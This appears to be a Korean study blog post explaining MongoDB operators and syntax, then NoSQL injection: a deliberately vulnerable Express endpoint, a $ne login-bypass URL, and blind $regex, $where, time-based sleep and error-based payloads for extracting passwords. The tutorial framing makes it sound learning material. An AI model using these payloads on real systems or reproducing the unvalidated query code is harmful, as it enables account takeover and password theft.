• 비관계형 데이터베이스(NoSQL): SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 RDBMS와의 차이점

 

 

MongoDB 특징

  • 스키마를 따로 정의하지 않아 각 컬렉션(Collection)에 대한 정의가 필요 없다
  • JSONP 형식으로 쿼리를 작성할 수 있다
  • _id 필드가 Primart Key 역할을 한다

 

 

MongoDB 연산자

Name Desciption
$eq 지정된 값과 같은 값을 찾습니다. (equal)
$in 배열 안의 값들과 일치하는 값을 찾습니다. (in)
$ne 지정된 값과 같지 않은 값을 찾습니다. (not equal)
$nin 배열 안의 값들과 일치하지 않는 값을 찾습니다. (not in)

 

Name Description
$and 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환됩니다.
$not 쿼리 식의 효과를 반전시킵니다. 쿼리 식과 일치하지 않는 문서를 반환합니다.
$nor 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환됩니다.
$or 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환됩니다.

 

Name Description
$exists 지정된 필드가 있는 문서를 찾습니다.
$type 지정된 필드가 지정된 유형인 문서를 선택합니다.

 

Name Discription
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.  
$text 지정된 텍스트를 검색합니다.

 

 

 

MongoDB 문법

SELECT

SELECT user_idx FROM account WHERE user_id="admin";

db.account.find(
  { user_id: "admin" },
  { user_idx:1, _id:0 }
)

 

 

INSERT

INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");

db.account.insertOne(
  { user_id: "guest",user_pw: "guest" }
)

 

 

UPDATE

UPDATE account SET user_id="guest2" WHERE user_idx=2;

db.account.updateOne(
  { user_idx: 2 },
  { $set: { user_id: "guest2" } }
)

 

 

 


 

NoSQL 인젝션

 

MongoDB는 오브젝트, 배열 타입을 사용할 수 있다.

오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 행위가 가능하다.

 

아래 코드는 user  컬렉션에서 이용자가 입력한 uid와 upw 에 해당하는 데이터를 찾고, 출력하고 있다.

이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있다.

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 

 

오브젝트 타입의 값을 입력할 수 있다면, 연산자를 사용할 수 있다.

$ne (not equal) 연산자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다.

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

$ne 연산자를 사용해 uid upw가 "a"가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과

 

 

 


Blind NoSQL 인젝션

MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

 

 

$regex

정규식을 사용해 식과 일치하는 데이터를 조회한다. 

upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시다.

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

$where

표현식

인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회한다. (필터링)

아래에서 $where 연산자는 전체 문서 수준에서만 사용할 수 있으며, 특정 필드에 적용될 수 없다는 것을 확인할 수 있다.

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

 

substring

$where 연산자로 Javascript 표현식을 입력하면, Blind SQL injection에서 한 글자씩 비교했던 것과 같이 데이터를 추출할 수 있다.

아래는 upw의 첫 글자를 비교해 데이터를 추출하는 쿼리다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

 

 


Time based Injection

MongoDB는 sleep 함수를 제공한다.

표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있다.

아래는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/* req.query.uid, req.query.upw 에 들어가는 js 코드들
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1   <-참이면 5초 지연
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

 

 

 


Error based Injection

올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다.

아래에서 upw의 첫 글자가 'g'인 경우 (참인 경우) 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 

 

 

 


예제

$ne 연산자를 이용하여 upw값에 상관없이 uid "admin"인 데이터를 조회

 

 

 

$regex 연산자를 사용해서 Blind NoSQL Injection 공격

정규 표현식 .{5} 를 입력해서 비밀번호 길이가 5인 것을 확인

 

$regex 연산자와 정규표현식으로 비밀번호 문자열도 알아낼 수 있다.

 

+ Recent posts